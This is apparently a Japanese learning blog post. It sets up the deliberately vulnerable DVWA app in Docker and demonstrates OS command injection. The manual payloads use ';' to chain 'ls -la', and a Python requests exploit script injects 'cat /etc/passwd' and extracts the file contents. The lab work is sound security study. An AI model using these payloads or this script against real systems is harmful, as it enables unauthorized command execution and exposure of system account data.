Skip to content
Go back

【DVWA】DockerでDVWA環境を構築してコマンドインジェクションを試す

はじめに

Webアプリケーションの脆弱性診断技術を習得するため、意図的に脆弱性を持たせた学習用アプリケーション DVWA (Damn Vulnerable Web App) をローカル環境に構築しました。

今回はCommand Injection(OSコマンドインジェクション) について、攻撃のメカニズムとPythonによる自動化を検証します。

注意: 本記事の内容は、自身が管理する閉じたローカル環境(Docker)で行っています。許可のないサーバーに対して攻撃手法を試すことは法律で禁止されています。

1. 検証環境の構築

環境構築の手間を最小限にするため、Dockerを使用しました。

Dockerコンテナの起動

以下のコマンドで、公式のDVWAコンテナをバックグラウンド起動します。

docker run --rm -d -p 80:80 vulnerables/web-dvwa

初期設定

ブラウザで http://localhost (またはサーバーのIP) にアクセスし、以下の手順でセットアップを行いました。

  1. Setup Database: Create / Reset Database ボタンをクリック。
  2. Login: 初期アカウント (admin / password) でログイン。
  3. Security Level: 左メニューの「DVWA Security」から、難易度を Low に変更。

2. Command Injection とは

Command Injectionは、WebアプリがOSの機能(pingやlsなど)を呼び出す際に、外部からの入力値を適切に検証せずコマンドの一部として実行してしまう脆弱性です。

脆弱な挙動の確認

図1: IPアドレス8.8.8.8に対してのping結果が出力されている
図1: IPアドレス8.8.8.8に対してのping結果が出力されている

DVWAの “Command Injection” メニューでは、IPアドレスを入力すると ping を実行する機能があります。

ここに 8.8.8.8 を入力すると、図1の様に通常のPing結果が返ってきます。しかし、Linuxのコマンド区切り文字である ; (セミコロン) を悪用し、以下のように入力するとどうなるでしょうか。

8.8.8.8; ls -la

結果:

図2: 悪意ある入力8.8.8.8;ls -laを実行
図2: 悪意ある入力8.8.8.8;ls -laを実行

Pingの実行結果に続いて、サーバー内部のファイル一覧が表示されてしまいました。

ping -c 4 127.0.0.1; ls -la

サーバー内部では上記のようなコマンドとして解釈され、実行されていることが推測できます。


3. Pythonによる攻撃の自動化

手動での確認だけでなく、Python (requestsライブラリ) を用いて、この攻撃をスクリプト化しました。 これにより、大量のパラメータに対する診断や、結果の解析を効率化できます。

Exploitコード

import requests

# ターゲットURL
url = "http://127.0.0.1/vulnerabilities/exec/"

# ログインセッション(ブラウザの開発者ツールから取得したPHPSESSID)
cookies = {
    "PHPSESSID": "ここに取得したセッションIDを入れる", 
    "security": "low"
}

# 攻撃ペイロード(これも開発者ツールから情報を得る)
# Pingした後に、/etc/passwd(ユーザー一覧)を表示させる
payload = {
    "ip": "8.8.8.8; cat /etc/passwd",
    "Submit": "Submit"
}

print("[-] Sending exploit payload...")

try:
    # POSTリクエスト送信
    response = requests.post(url, cookies=cookies, data=payload)
    
    # 結果の解析(rootユーザーの存在確認)
    if "root:x:0:0" in response.text:
        print("[+] Success! /etc/passwd found:\n")
        
        # <pre>タグの中身だけを抽出して表示
        start = response.text.find("<pre>") + 5
        end = response.text.find("</pre>")
        print(response.text[start:end])
    else:
        print("[!] Failed. Check your session ID.")

except Exception as e:
    print(f"[!] Error: {e}")

実行結果

図3 Exploitコードの実行結果
図3 Exploitコードの実行結果

スクリプトを実行すると、HTMLレスポンスの中から /etc/passwd の中身だけを綺麗に抜き出すことに成功しました。これにより、root ユーザーやシステムユーザーの存在が露見します。

まとめ

今回の検証を通じて、Webアプリケーションにおける入力値検証の重要性を再認識しました。 特に shell_execsystem といった強力な関数を使用する場合は、細心の注意が必要です。

今後もDVWAの他の脆弱性(SQL Injection, XSSなど)についても、同様に攻撃コードの作成と対策の検証を行っていく予定です。


Share this post on:

Previous Post
【CAPEv2】マルウェア解析基盤構築でハマった「KVMの沼」と解決策